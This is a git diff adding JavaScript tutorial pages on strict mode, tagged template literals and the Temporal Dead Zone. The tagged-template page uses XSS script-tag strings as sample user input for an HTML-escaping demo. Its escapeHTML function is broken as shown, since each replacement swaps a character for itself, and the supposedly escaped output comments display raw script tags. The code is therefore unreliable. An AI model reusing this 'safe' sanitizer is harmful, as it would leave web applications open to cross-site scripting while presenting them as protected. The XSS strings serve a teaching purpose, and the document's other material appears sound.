strict mode is already on. No need to add the directive. + +4. **Accidental globals become errors** — The most common bug it catches. Assigning to an undeclared variable throws `ReferenceError` instead of creating a global. + +5. **`this` is `undefined` in loose function calls** — Calling a function without a context gives `this = undefined` instead of the global object. This prevents accidental global pollution. + +6. **`eval` is contained** — Variables created inside `eval()` stay inside. They don't leak into the surrounding scope. + +7. **Duplicate parameters are forbidden** — `function f(a, a) {}` is a syntax error, catching copy-paste bugs. + +8. **The `with` statement is banned** — Use destructuring instead for cleaner, more predictable code. + +9. **Reserved words are protected** — Words like `private`, `public`, `interface` can't be used as variable names, preparing your code for future JavaScript features. + +10. **Use strict mode everywhere** — There's no downside. Modern tooling and ES modules make this automatic. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="What happens when you assign to an undeclared variable in strict mode?"> + **Answer:** + + You get a `ReferenceError`. In sloppy mode, this would silently create a global variable, which is almost never what you want. + + ```javascript + "use strict" + + function example() { + myVar = 10 // ReferenceError: myVar is not defined + } + ``` + + This catches typos like `userName` vs `username` immediately instead of creating mysterious global variables. + </Accordion> + + <Accordion title="What is `this` inside a regular function call in strict mode?"> + **Answer:** + + It's `undefined`. In sloppy mode, it would be the global object (`window` or `global`). + + ```javascript + "use strict" + + function showThis() { + console.log(this) // undefined + } + + showThis() + ``` + + This prevents accidental reads or writes to global properties through `this`. + </Accordion> + + <Accordion title="Do you need to add 'use strict' to ES Modules?"> + **Answer:** + + No. ES Modules are automatically in strict mode. Adding `"use strict"` is harmless but unnecessary. + + ```javascript + // myModule.js + export function greet() { + // Already in strict mode - no directive needed + mistypedVar = "oops" // ReferenceError (strict mode active) + } + ``` + + The same applies to class bodies, which are also automatically strict. + </Accordion> + + <Accordion title="Why does strict mode forbid duplicate parameter names?"> + **Answer:** + + To catch copy-paste errors. In sloppy mode, duplicate parameters silently shadow each other: + + ```javascript + // Sloppy mode - confusing behavior + function add(a, a) { + return a + a // The first 'a' is lost, uses second value twice + } + add(1, 2) // Returns 4, not 3! + + // Strict mode - error + "use strict" + function add(a, a) { // SyntaxError: Duplicate parameter name + return a + a + } + ``` + </Accordion> + + <Accordion title="What's wrong with the `with` statement that strict mode bans it?"> + **Answer:** + + The `with` statement makes it impossible to know where variables come from at a glance: + + ```javascript + with (someObject) { + x = 10 // Is this someObject.x or a variable x? Depends on runtime! + } + ``` + + This ambiguity prevents JavaScript engines from optimizing your code and makes bugs hard to track down. Use [destructuring](/concepts/modern-js-syntax) instead: + + ```javascript + const { x, y, z } = someObject // Clear and explicit + ``` + </Accordion> + + <Accordion title="Why can't you use words like 'private' or 'interface' as variable names in strict mode?"> + **Answer:** + + These words are reserved for potential future JavaScript features. Strict mode protects them so your code won't break when new syntax is added. + + ```javascript + "use strict" + + let private = 10 // SyntaxError: Unexpected strict mode reserved word + let interface = {} // SyntaxError + ``` + + Some of these words (like `static`) are already used in class definitions. Others may be used in future versions. + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="ES Modules" icon="box" href="/concepts/es-modules"> + Modules are automatically in strict mode. Learn the modern way to organize JavaScript code. + </Card> + <Card title="this, call, apply & bind" icon="bullseye" href="/concepts/this-call-apply-bind"> + Deep dive into how `this` works and why strict mode changes its default behavior. + </Card> + <Card title="Scope and Closures" icon="lock" href="/concepts/scope-and-closures"> + Understand how strict mode's scope changes relate to JavaScript's scoping rules. + </Card> + <Card title="Temporal Dead Zone" icon="clock" href="/beyond/concepts/temporal-dead-zone"> + Another language mechanic that catches variable access errors early. + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Strict Mode — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode"> + The complete reference for all strict mode changes and behaviors. + </Card> + <Card title="Sloppy Mode — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Sloppy_mode"> + MDN's glossary entry on the default non-strict mode. + </Card> +</CardGroup> + +--- + +## Articles + +<CardGroup cols={2}> + <Card title="The Modern Mode, 'use strict'" icon="newspaper" href="https://javascript.info/strict-mode"> + A concise overview from javascript.info covering when and why to use strict mode. Great for a quick refresher. + </Card> + <Card title="What is Strict Mode in JavaScript?" icon="newspaper" href="https://www.freecodecamp.org/news/what-is-strict-mode-in-javascript/"> + freeCodeCamp's beginner-friendly explanation with practical examples of each strict mode restriction. + </Card> + <Card title="Strict Mode — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode"> + The definitive reference covering every strict mode change. Includes detailed explanations of edge cases and browser compatibility notes. + </Card> + <Card title="Transitioning to Strict Mode" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode"> + MDN's guide for migrating existing codebases to strict mode. Covers common issues you'll encounter and how to resolve them. + </Card> +</CardGroup> + +--- + +## Videos + +<CardGroup cols={2}> + <Card title="JavaScript Strict Mode" icon="video" href="https://www.youtube.com/watch?v=uqUYNqZx0qY"> + Web Dev Simplified explains strict mode with clear examples of the errors it catches and why you should use it. + </Card> + <Card title="Strict Mode in 100 Seconds" icon="video" href="https://www.youtube.com/watch?v=JEDub1lG8o0"> + Fireship's rapid-fire overview covering the key strict mode changes. Perfect for a quick introduction. + </Card> + <Card title="JavaScript 'use strict'" icon="video" href="https://www.youtube.com/watch?v=G9QTBS2x8U4"> + Dcode walks through practical examples of strict mode errors, showing exactly what breaks and why. Good for visual learners. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/tagged-template-literals.mdx b/docs/beyond/concepts/tagged-template-literals.mdx new file mode 100644 index 00000000..4c12ac9c --- /dev/null +++ b/docs/beyond/concepts/tagged-template-literals.mdx @@ -0,0 +1,913 @@ +--- +title: "Tagged Template Literals: Custom String Processing in JavaScript" +sidebarTitle: "Tagged Template Literals" +description: "Learn JavaScript tagged template literals. Understand how tag functions work, access raw strings, build HTML sanitizers, create DSLs, and use String.raw for file paths." +--- + +How do libraries like GraphQL and Lit HTML let you write special syntax inside JavaScript template literals? How can a function intercept and transform template strings before they become a final value? + +```javascript +// A tag function receives strings and values separately +function highlight(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : '' + return result + str + value + }, '') +} + +const name = 'Alice' +const age = 30 + +console.log(highlight`User ${name} is ${age} years old`) +// "User <mark>Alice</mark> is <mark>30</mark> years old" +``` + +The answer is **tagged template literals**. They let you define a function that processes the template's static strings and dynamic values separately, giving you complete control over the final result. This unlocks powerful patterns like HTML sanitization, internationalization, and domain-specific languages. + +<Info> +**What you'll learn in this guide:** +- What tagged template literals are and how they differ from regular template literals +- The tag function signature: the strings array, values, and the `raw` property +- How [`String.raw`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw) works as JavaScript's built-in tag +- Building custom tag functions for HTML escaping and security +- Creating reusable templates and domain-specific languages (DSLs) +- Common mistakes and edge cases to watch out for +- Brief mention of TypeScript template literal types +</Info> + +<Warning> +**Prerequisite:** This guide assumes you understand basic [template literals](/concepts/modern-js-syntax#template-literals) (backticks, `${expression}` interpolation). If you're not comfortable with those, review that section first. +</Warning> + +--- + +## What are Tagged Template Literals? + +**Tagged template literals** are a way to call a function using a template literal. Instead of parentheses, you place the function name directly before the backtick. The function (called a "tag") receives the template's strings and interpolated values as separate arguments, allowing it to process them however it wants before returning a result. + +```javascript +// Regular template literal - just produces a string +const message = `Hello ${name}` + +// Tagged template literal - calls the function 'myTag' +const result = myTag`Hello ${name}` +``` + +The key difference: a regular template literal automatically concatenates strings and values into one string. A tagged template literal passes everything to your function first, and your function decides what to return. It doesn't even have to return a string. + +--- + +## The Mail Merge Analogy + +Think of tagged templates like a mail merge in a word processor. + +Imagine you're sending personalized letters. You have a template with placeholders: "Dear `{name}`, your order `{orderNumber}` has shipped." The mail merge system receives both the static template parts and the dynamic values separately, then combines them according to its rules. + +A tag function works the same way. It receives the static strings ("Dear ", ", your order ", " has shipped.") and the dynamic values ("Alice", "12345") separately. This separation is what makes tagged templates powerful. You can: + +- **Escape** the values to prevent security issues +- **Transform** the values before inserting them +- **Validate** the values match expected types +- **Return** something other than a string entirely + +``` +┌─────────────────────────────────────────────────────────────────────────┐ +│ HOW TAG FUNCTIONS WORK │ +├─────────────────────────────────────────────────────────────────────────┤ +│ │ +│ myTag`Hello ${name}, you have ${count} messages` │ +│ │ │ │ │ │ +│ │ │ │ └──────────────────┐ │ +│ │ │ └────────────────┐ │ │ +│ │ └──────────┐ │ │ │ +│ └────┐ │ │ │ │ +│ │ │ │ │ │ +│ ▼ ▼ ▼ ▼ │ +│ ┌──────────────────────────────────────────────────────────┐ │ +│ │ myTag(strings, ...values) │ │ +│ │ │ │ +│ │ strings = ["Hello ", ", you have ", " messages"] │ │ +│ │ values = [name, count] │ │ +│ │ │ │ +│ │ strings.length === values.length + 1 (always true!) │ │ +│ └──────────────────────────────────────────────────────────┘ │ +│ │ +└─────────────────────────────────────────────────────────────────────────┘ +``` + +--- + +## How Tag Functions Work + +A tag function receives two types of arguments: + +1. **First argument:** An array of string literals (the static parts) +2. **Remaining arguments:** The evaluated expressions (the dynamic values) + +### The Basic Signature + +```javascript +function myTag(strings, ...values) { + console.log(strings) // Array of static strings + console.log(values) // Array of interpolated values + return 'whatever you want' +} +``` + +Let's trace through an example: + +```javascript +function inspect(strings, ...values) { + console.log('Strings:', strings) + console.log('Values:', values) + console.log('String count:', strings.length) + console.log('Value count:', values.length) +} + +const fruit = 'apple' +const count = 5 + +inspect`I have ${count} ${fruit}s` +// Strings: ["I have ", " ", "s"] +// Values: [5, "apple"] +// String count: 3 +// Value count: 2 +``` + +### The Golden Rule + +There's always **one more string than there are values**. This is because: + +- A template starts with a string (possibly empty) +- Each value is surrounded by strings +- A template ends with a string (possibly empty) + +```javascript +function countParts(strings, ...values) { + return `${strings.length} strings, ${values.length} values` +} + +console.log(countParts`${1}`) // "2 strings, 1 values" +console.log(countParts`x${1}`) // "2 strings, 1 values" +console.log(countParts`${1}y`) // "2 strings, 1 values" +console.log(countParts`x${1}y`) // "2 strings, 1 values" +console.log(countParts`x${1}y${2}z`) // "3 strings, 2 values" +``` + +This predictable structure makes it easy to interleave strings and values: + +```javascript +function interleave(strings, ...values) { + let result = '' + for (let i = 0; i < values.length; i++) { + result += strings[i] + values[i] + } + result += strings[strings.length - 1] // Don't forget the last string! + return result +} + +const name = 'World' +console.log(interleave`Hello, ${name}!`) // "Hello, World!" +``` + +### A Cleaner Pattern with reduce + +The [`reduce`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) method handles the interleaving elegantly: + +```javascript +function simple(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? values[i] : '' + return result + str + value + }, '') +} +``` + +--- + +## The Raw Strings Property + +The first argument to a tag function isn't just an array. It has a special `raw` property containing the raw, unprocessed string literals. + +### Cooked vs Raw + +- **Cooked strings** (`strings`): Escape sequences are processed (`\n` becomes a newline) +- **Raw strings** (`strings.raw`): Escape sequences are preserved as-is (`\n` stays as backslash-n) + +```javascript +function showBoth(strings) { + console.log('Cooked:', strings[0]) + console.log('Raw:', strings.raw[0]) +} + +showBoth`Line1\nLine2` +// Cooked: "Line1 +// Line2" (actual newline character) +// Raw: "Line1\\nLine2" (the literal characters \ and n) +``` + +This distinction matters when you're building tools that need to preserve the original source text, like syntax highlighters or code formatters. + +### Invalid Escape Sequences + +In regular template literals, invalid escape sequences cause syntax errors: + +```javascript +// SyntaxError in a normal template literal +// const bad = `\unicode` // Error: Invalid Unicode escape sequence +``` + +But in tagged templates, invalid escapes are allowed. The cooked value becomes `undefined`, but the raw value is preserved: + +```javascript +function handleInvalid(strings) { + console.log('Cooked:', strings[0]) + console.log('Raw:', strings.raw[0]) +} + +handleInvalid`\unicode` +// Cooked: undefined +// Raw: "\\unicode" +``` + +This lets tagged templates work with DSLs (like LaTeX or regex patterns) that use backslash syntax differently than JavaScript. + +--- + +## String.raw: The Built-in Tag + +JavaScript includes one built-in tag function: [`String.raw`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw). It returns a string where escape sequences are not processed. + +### Basic Usage + +```javascript +// Normal template literal - escape sequences are processed +console.log(`Line1\nLine2`) +// Line1 +// Line2 + +// String.raw - escape sequences stay as literal characters +console.log(String.raw`Line1\nLine2`) +// "Line1\nLine2" +``` + +### Perfect for File Paths + +Windows file paths are much cleaner with `String.raw`: + +```javascript +// Without String.raw - need to escape every backslash +const path1 = 'C:\\Users\\Alice\\Documents\\file.txt' + +// With String.raw - write naturally +const path2 = String.raw`C:\Users\Alice\Documents\file.txt` + +console.log(path1 === path2) // true +``` + +### Perfect for Regular Expressions + +Regex patterns often contain backslashes. `String.raw` eliminates double-escaping: + +```javascript +// Without String.raw - double escaping needed +const pattern1 = new RegExp('\\d+\\.\\d+') + +// With String.raw - much cleaner +const pattern2 = new RegExp(String.raw`\d+\.\d+`) + +console.log(pattern1.test('3.14')) // true +console.log(pattern2.test('3.14')) // true +``` + +### How String.raw Works Under the Hood + +`String.raw` can also be called as a regular function with an object: + +```javascript +// Called with a template literal +console.log(String.raw`Hi\n${2 + 3}!`) // "Hi\n5!" + +// Called as a function (same result) +console.log(String.raw({ raw: ['Hi\\n', '!'] }, 5)) // "Hi\n5!" +``` + +--- + +## Building Custom Tag Functions + +Now let's build some practical tag functions. + +### Example 1: HTML Escaping + +One of the most common uses for tagged templates is preventing XSS (Cross-Site Scripting) attacks by escaping user input: + +```javascript +function escapeHTML(str) { + return str + .replace(/&/g, '&') + .replace(/</g, '<') + .replace(/>/g, '>') + .replace(/"/g, '"') + .replace(/'/g, ''') +} + +function html(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? escapeHTML(String(values[i])) : '' + return result + str + value + }, '') +} + +// Safe: user input is escaped +const userInput = '<script>alert("XSS")</script>' +const safe = html`<div>User said: ${userInput}</div>` +console.log(safe) +// "<div>User said: <script>alert("XSS")</script></div>" +``` + +The static parts (written by the developer) pass through unchanged, but dynamic values (potentially from users) are escaped. + +### Example 2: Highlighting Values + +Mark all interpolated values with a highlight: + +```javascript +function highlight(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : '' + return result + str + value + }, '') +} + +const product = 'Widget' +const price = 29.99 + +const message = highlight`The ${product} costs $${price}` +console.log(message) +// "The <mark>Widget</mark> costs $<mark>29.99</mark>" +``` + +### Example 3: Currency Formatting + +Format numbers as currency automatically: + +```javascript +function currency(strings, ...values) { + const formatter = new Intl.NumberFormat('en-US', { + style: 'currency', + currency: 'USD' + }) + + return strings.reduce((result, str, i) => { + let value = values[i] + if (typeof value === 'number') { + value = formatter.format(value) + } + return result + str + (value ?? '') + }, '') +} + +const item = 'Coffee' +const price = 4.5 +const tax = 0.36 + +console.log(currency`${item}: ${price} + ${tax} tax`) +// "Coffee: $4.50 + $0.36 tax" +``` + +### Example 4: Debug Logging + +Create a debug tag that shows types and values: + +```javascript +function debug(strings, ...values) { + let output = '' + strings.forEach((str, i) => { + output += str + if (i < values.length) { + const type = typeof values[i] + const val = JSON.stringify(values[i]) + output += `[${type}: ${val}]` + } + }) + return output +} + +const user = { name: 'Alice', age: 30 } +const items = ['apple', 'banana'] + +console.log(debug`User: ${user}, Items: ${items}`) +// "User: [object: {"name":"Alice","age":30}], Items: [object: ["apple","banana"]]" +``` + +--- + +## Advanced Patterns + +### Returning Non-Strings + +Tag functions don't have to return strings. They can return anything: + +```javascript +// Return an array +function toArray(strings, ...values) { + return values +} + +console.log(toArray`${1} and ${2} and ${3}`) // [1, 2, 3] + +// Return an object +function toObject(strings, ...values) { + const keys = strings.slice(0, -1).map(s => s.trim().replace(':', '')) + const obj = {} + keys.forEach((key, i) => { + if (key) obj[key] = values[i] + }) + return obj +} + +const name = 'Alice' +const age = 30 +console.log(toObject`name: ${name}, age: ${age},`) +// { name: "Alice", age: 30 } +``` + +### Reusable Template Factories + +Return a function for reusable templates: + +```javascript +function template(strings, ...keys) { + return function(data) { + return strings.reduce((result, str, i) => { + const key = keys[i] + const value = key !== undefined ? data[key] : '' + return result + str + value + }, '') + } +} + +// Create a reusable template +const greeting = template`Hello, ${'name'}! You have ${'count'} messages.` + +// Use it with different data +console.log(greeting({ name: 'Alice', count: 5 })) +// "Hello, Alice! You have 5 messages." + +console.log(greeting({ name: 'Bob', count: 0 })) +// "Hello, Bob! You have 0 messages." +``` + +### Building an Identity Tag + +To create a tag that processes escapes normally (like an untagged template): + +```javascript +// String.raw keeps escapes raw - not what we want for an identity tag +console.log(String.raw`Line1\nLine2`) // "Line1\nLine2" (literal backslash-n) + +// An identity tag that processes escapes normally +function identity(strings, ...values) { + // Pass the "cooked" strings as if they were raw + return String.raw({ raw: strings }, ...values) +} + +console.log(identity`Line1\nLine2`) +// "Line1 +// Line2" (actual newline) +``` + +This pattern is useful when you want IDE syntax highlighting support for tagged templates but want the same output as an untagged template. + +--- + +## Real-World Use Cases + +Tagged template literals power many popular libraries and patterns: + +### SQL Query Builders + +Safely parameterize SQL queries to prevent SQL injection: + +```javascript +function sql(strings, ...values) { + // In a real implementation, this would use parameterized queries + const query = strings.reduce((result, str, i) => { + return result + str + (i < values.length ? `$${i + 1}` : '') + }, '') + + return { + text: query, + values: values + } +} + +const userId = 123 +const status = 'active' + +const query = sql` + SELECT * FROM users + WHERE id = ${userId} + AND status = ${status} +` + +console.log(query.text) +// "SELECT * FROM users WHERE id = $1 AND status = $2" +console.log(query.values) +// [123, "active"] +``` + +### GraphQL Queries + +The `gql` tag in Apollo and other GraphQL clients parses query strings: + +```javascript +// Conceptual example (actual implementation is more complex) +function gql(strings, ...values) { + const query = strings.reduce((result, str, i) => { + return result + str + (values[i] ?? '') + }, '') + + return { + kind: 'Document', + query: query.trim() + } +} + +const query = gql` + query GetUser($id: ID!) { + user(id: $id) { + name + email + } + } +` +``` + +### CSS-in-JS Patterns + +Libraries like Lit use tagged templates for CSS: + +```javascript +function css(strings, ...values) { + return strings.reduce((result, str, i) => { + return result + str + (values[i] ?? '') + }, '') +} + +const primaryColor = '#007bff' +const styles = css` + .button { + background-color: ${primaryColor}; + padding: 10px 20px; + border: none; + } +` +``` + +### Internationalization (i18n) + +Handle translations with placeholders: + +```javascript +const translations = { + 'en': { greeting: 'Hello, {0}! You have {1} messages.' }, + 'es': { greeting: '¡Hola, {0}! Tienes {1} mensajes.' } +} + +function createI18n(locale) { + return function(strings, ...values) { + // In a real implementation, you'd look up translations by key + let result = strings.reduce((acc, str, i) => { + return acc + str + (values[i] !== undefined ? `{${i}}` : '') + }, '') + + // Replace placeholders with values + values.forEach((value, i) => { + result = result.replace(`{${i}}`, value) + }) + + return result + } +} + +const t = createI18n('en') +console.log(t`Hello, ${'María'}! You have ${3} messages.`) +// "Hello, María! You have 3 messages." +``` + +--- + +## Common Mistakes + +### Forgetting the Last String + +The strings array always has one more element than values. Don't forget it: + +```javascript +// ❌ WRONG - Loses the last string segment +function broken(strings, ...values) { + return strings.reduce((result, str, i) => { + return result + str + values[i] // values[last] is undefined! + }, '') +} + +const name = 'Alice' +console.log(broken`Hello ${name}!`) // "Hello Aliceundefined" + +// ✓ CORRECT - Check for undefined +function fixed(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? values[i] : '' + return result + str + value + }, '') +} + +console.log(fixed`Hello ${name}!`) // "Hello Alice!" +``` + +### Not Escaping User Input + +When building HTML, always escape interpolated values: + +```javascript +function escapeHTML(str) { + return str + .replace(/&/g, '&') + .replace(/</g, '<') + .replace(/>/g, '>') + .replace(/"/g, '"') + .replace(/'/g, ''') +} + +// ❌ DANGEROUS - XSS vulnerability +function unsafeHtml(strings, ...values) { + return strings.reduce((result, str, i) => { + return result + str + (values[i] ?? '') + }, '') +} + +// ✓ SAFE - Escape all values +function safeHtml(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined ? escapeHTML(String(values[i])) : '' + return result + str + value + }, '') +} +``` + +### Confusing Tagged and Untagged Behavior + +Remember that tagged templates call a function. Some syntax doesn't work: + +```javascript +// ✓ Works - calling console.log as a tag +console.log`Hello` // ["Hello"] + +// ❌ SyntaxError - can't use optional chaining with tagged templates +// console?.log`Hello` // SyntaxError + +// ❌ TypeError - can't chain template literals without a tag +// `Hello``World` // TypeError: "Hello" is not a function +``` + +--- + +## TypeScript Template Literal Types + +TypeScript 4.1+ introduced template literal types, which let you create string types from combinations: + +```typescript +// Basic template literal type +type Greeting = `Hello, ${string}!` + +const valid: Greeting = 'Hello, World!' // OK +// const invalid: Greeting = 'Hi there!' // Error + +// Combining literal types +type Color = 'red' | 'blue' | 'green' +type Size = 'small' | 'large' +type ColoredSize = `${Size}-${Color}` +// "small-red" | "small-blue" | "small-green" | "large-red" | ... +``` + +This is a compile-time type system feature, separate from runtime tagged templates. + +--- + +## Key Takeaways + +<Info> +**The key things to remember about tagged template literals:** + +1. **Tag functions receive strings and values separately.** The first argument is an array of static strings; remaining arguments are interpolated values. + +2. **There's always one more string than values.** The template starts and ends with a string (which may be empty). `strings.length === values.length + 1`. + +3. **The strings array has a `raw` property.** `strings.raw` contains unprocessed strings where escape sequences are preserved as literal characters. + +4. **`String.raw` is the built-in tag.** Use it for file paths and regex patterns to avoid double-escaping backslashes. + +5. **Invalid escape sequences are allowed in tagged templates.** The cooked value becomes `undefined`, but `raw` preserves the original text. + +6. **Tag functions can return anything.** They don't have to return strings. They can return objects, arrays, functions, or anything else. + +7. **Always escape user input in HTML tags.** Tagged templates make it easy to sanitize values while leaving developer-written strings untouched. + +8. **Common patterns include HTML escaping, SQL parameterization, and DSLs.** Libraries like GraphQL clients and CSS-in-JS tools are built on tagged templates. + +9. **Don't confuse runtime tags with TypeScript template literal types.** TypeScript's feature is compile-time type checking, not runtime string processing. + +10. **Remember the syntax: no parentheses.** Call tags with `` tag`template` ``, not `` tag(`template`) ``. +</Info> + +--- + +## Test Your Knowledge + +<AccordionGroup> + <Accordion title="Question 1: What arguments does a tag function receive?"> + **Answer:** + + A tag function receives: + 1. An array of static string literals (the parts between expressions) + 2. The evaluated expression values as separate arguments (usually collected with `...values`) + + ```javascript + function tag(strings, ...values) { + // strings = array of static string parts + // values = array of interpolated expression results + } + + const name = 'Alice' + const age = 30 + tag`Hello ${name}, you are ${age} years old` + // strings: ["Hello ", ", you are ", " years old"] + // values: ["Alice", 30] + ``` + </Accordion> + + <Accordion title="Question 2: What's the relationship between strings.length and values.length?"> + **Answer:** + + `strings.length` is always exactly `values.length + 1`. This is because: + - A template always starts with a string (possibly empty) + - Each value is surrounded by strings + - A template always ends with a string (possibly empty) + + ```javascript + function count(strings, ...values) { + return `${strings.length} strings, ${values.length} values` + } + + count`${1}` // "2 strings, 1 values" + count`x${1}y${2}z` // "3 strings, 2 values" + count`no values` // "1 strings, 0 values" + ``` + </Accordion> + + <Accordion title="Question 3: What's the difference between strings and strings.raw?"> + **Answer:** + + - `strings` contains "cooked" strings where escape sequences are processed (`\n` becomes a newline character) + - `strings.raw` contains raw strings where escape sequences are preserved (`\n` stays as backslash-n) + + ```javascript + function compare(strings) { + console.log('Cooked:', strings[0]) // Actual newline + console.log('Raw:', strings.raw[0]) // Literal "\n" + } + + compare`Line1\nLine2` + ``` + </Accordion> + + <Accordion title="Question 4: When would you use String.raw?"> + **Answer:** + + Use `String.raw` when you want escape sequences to remain as literal characters: + + - **Windows file paths:** `String.raw\`C:\Users\Alice\file.txt\`` + - **Regular expressions:** `new RegExp(String.raw\`\d+\.\d+\`)` + - **Any text with lots of backslashes** that you don't want interpreted + + ```javascript + // Much cleaner than escaping every backslash + const path = String.raw`C:\Users\Alice\Documents` + ``` + </Accordion> + + <Accordion title="Question 5: Can a tag function return something other than a string?"> + **Answer:** + + Yes! Tag functions can return anything. This flexibility is what makes them so powerful: + + ```javascript + // Return an array + function values(strings, ...vals) { + return vals + } + values`${1}, ${2}, ${3}` // [1, 2, 3] + + // Return an object + function sql(strings, ...vals) { + return { query: strings.join('?'), params: vals } + } + + // Return a function (template factory) + function template(strings, ...keys) { + return (data) => { /* process data */ } + } + ``` + </Accordion> + + <Accordion title="Question 6: Why is escaping important in HTML tag functions?"> + **Answer:** + + Without escaping, user input containing HTML or script tags could execute malicious code (XSS attack): + + ```javascript + // ❌ Dangerous - user input rendered as HTML + const userInput = '<script>stealCookies()</script>' + unsafeHtml`<div>${userInput}</div>` // Script could execute! + + // ✓ Safe - HTML entities are escaped + function safeHtml(strings, ...values) { + return strings.reduce((result, str, i) => { + const value = values[i] !== undefined + ? escapeHTML(String(values[i])) + : '' + return result + str + value + }, '') + } + // Output: <div><script>stealCookies()</script></div> + ``` + </Accordion> +</AccordionGroup> + +--- + +## Related Concepts + +<CardGroup cols={2}> + <Card title="Modern JS Syntax" icon="wand-magic-sparkles" href="/concepts/modern-js-syntax"> + Template literal basics and other ES6+ features + </Card> + <Card title="Higher-Order Functions" icon="layer-group" href="/concepts/higher-order-functions"> + Functions that return functions, like template factories + </Card> + <Card title="Regular Expressions" icon="code" href="/concepts/regular-expressions"> + String.raw is especially useful for regex patterns + </Card> + <Card title="Error Handling" icon="shield" href="/concepts/error-handling"> + Handling errors in tag functions and input validation + </Card> +</CardGroup> + +--- + +## Reference + +<CardGroup cols={2}> + <Card title="Template literals — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Template_literals"> + Complete MDN reference covering template literals and tagged templates + </Card> + <Card title="String.raw() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw"> + Documentation for JavaScript's built-in tag function + </Card> + <Card title="Lexical grammar — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Lexical_grammar#escape_sequences"> + How escape sequences work in JavaScript strings + </Card> +</CardGroup> + +## Articles + +<CardGroup cols={2}> + <Card title="Template Literals — CSS-Tricks" icon="newspaper" href="https://css-tricks.com/template-literals/"> + Covers tagged templates with a practical reusable template factory example. Great for understanding how to build template systems from scratch. + </Card> + <Card title="ES6 Tagged Template Literals — freeCodeCamp" icon="newspaper" href="https://www.freecodecamp.org/news/es6-tagged-template-literals-48a70ef3ed4d/"> + Explains how function expressions in interpolations enable powerful patterns. Clear examples of why tagged templates are more flexible than regular ones. + </Card> + <Card title="HTML Templating with ES6 Template Strings — 2ality" icon="newspaper" href="https://2ality.com/2015/01/template-strings-html.html"> + Dr. Axel Rauschmayer demonstrates building an HTML template system with automatic escaping. Shows the convention for marking escaped values. + </Card> + <Card title="ES6 in Depth: Template strings — Mozilla Hacks" icon="newspaper" href="https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2/"> + Deep technical dive from Mozilla engineers who helped design the feature. Excellent for understanding the design decisions behind tagged templates. + </Card> +</CardGroup> + +## Videos + +<CardGroup cols={2}> + <Card title="Tagged Template Literals Explained — Web Dev Simplified" icon="video" href="https://www.youtube.com/watch?v=DG4obitDvUA"> + Clear beginner-friendly explanation of how tag functions receive their arguments. Perfect starting point if you're new to this feature. + </Card> + <Card title="Template Literals and Tagged Templates — Fun Fun Function" icon="video" href="https://www.youtube.com/watch?v=c9j0avG5L4c"> + MPJ's entertaining deep-dive into tagged templates with practical examples. His explanation of the strings/values relationship is particularly clear. + </Card> + <Card title="JavaScript ES6 Template Literals — Traversy Media" icon="video" href="https://www.youtube.com/watch?v=kj8HU-_P2NU"> + Comprehensive crash course covering both basic and tagged template literals with real-world examples and use cases. + </Card> +</CardGroup> diff --git a/docs/beyond/concepts/temporal-dead-zone.mdx b/docs/beyond/concepts/temporal-dead-zone.mdx new file mode 100644 index 00000000..40e4362f --- /dev/null +++ b/docs/beyond/concepts/temporal-dead-zone.mdx @@ -0,0 +1,866 @@ +--- +title: "Temporal Dead Zone: Variable Initialization in JavaScript" +sidebarTitle: "Temporal Dead Zone" +description: "Learn the Temporal Dead Zone (TDZ) in JavaScript. Understand why let, const, and class throw ReferenceError before initialization, and how TDZ differs from var." +--- + +Why does this code throw an error? + +```javascript +console.log(name) // ReferenceError: Cannot access 'name' before initialization +let name = "Alice" +``` + +But this code works fine? + +```javascript +console.log(name) // undefined (no error!) +var name = "Alice" +``` + +The difference is the **Temporal Dead Zone (TDZ)**. It's a behavior that makes [`let`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let), [`const`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const), and [`class`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/class) declarations safer than `var` by catching bugs early. + +<Info> +**What you'll learn in this guide:** +- What the Temporal Dead Zone is and why it exists +- How TDZ affects `let`, `const`, `class`, and default parameters +- Why it's called "temporal" (hint: it's about time, not position) +- The key differences between TDZ and `var` hoisting +- How `typeof` behaves differently in the TDZ +- TDZ edge cases in destructuring, loops, and ES modules +- Common TDZ pitfalls and how to avoid them +</Info> + +<Warning> +**Prerequisite:** This guide assumes you understand [scope and closures](/concepts/scope-and-closures). You should know the difference between global, function, and block scope before diving into TDZ. +</Warning> + +--- + +## What is the Temporal Dead Zone? + +The **Temporal Dead Zone (TDZ)** in JavaScript is the period between entering a scope and the line where a `let`, `const`, or `class` variable is initialized. During this zone, the variable exists but cannot be accessed—any attempt throws a [`ReferenceError`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/ReferenceError). The TDZ prevents bugs by catching accidental use of uninitialized variables. + +```javascript +{ + // TDZ for 'x' starts here (beginning of block) + + console.log(x) // ReferenceError: Cannot access 'x' before 